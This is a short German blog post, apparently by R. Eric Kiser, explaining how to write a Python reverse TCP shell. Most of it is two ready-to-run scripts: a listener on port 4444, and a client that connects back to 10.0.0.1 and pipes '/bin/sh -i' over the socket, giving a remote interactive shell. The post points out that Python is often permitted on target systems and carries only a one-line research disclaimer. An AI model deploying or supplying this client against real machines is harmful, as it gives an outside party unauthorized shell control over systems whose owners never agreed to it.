Schreiben Sie Python-Reverse-TCP-Shells in weniger als 5,1 Minuten

Jan 11 2023
R. Eric Kiser Haftungsausschluss: für Forschungszwecke und Verbindungen zu Geräten, die Sie besitzen.

R. Eric Kiser

Haftungsausschluss: Für Forschungszwecke und Verbindungen zu Geräten, die Ihnen gehören. Um eine Reverse-TCP-Shell in einer beliebigen Sprache zu schreiben, benötigen Sie zwei Programme, den Server und den Client. Sie müssen den Server (Listener) auf Ihrem Gerät und den Client auf dem Computer ausführen, mit dem Sie eine Verbindung herstellen möchten. Python ist auf den meisten Systemen oft erlaubt.

Beispiel für einen Reverse-TCP-Shell-Server

import socket

HOST = '0.0.0.0'    # Listen on all interfaces
PORT = 4444         # Port to listen on

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)         # Listen for only one connection

print(f'[*] Listening on {HOST}:{PORT}')

conn, addr = s.accept()
print(f'[*] Connection from {addr[0]}:{addr[1]}')

# Start a shell
while True:
    command = input("$ ")
    if command == "exit":
        break
    conn.send(command.encode())
    data = conn.recv(1024).decode()
    print(data)

conn.close()

Beispiel für einen Reverse-TCP-Client

import socket
import subprocess

HOST = '10.0.0.1'  # IP of the listener
PORT = 4444        # Port to connect to

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# Start a shell process
p = subprocess.Popen(['/bin/sh', '-i'],
                     stdin=s.fileno(),
                     stdout=s.fileno(),
                     stderr=s.fileno())

# Run the shell until the process terminates
p.wait()

# Close the socket
s.close()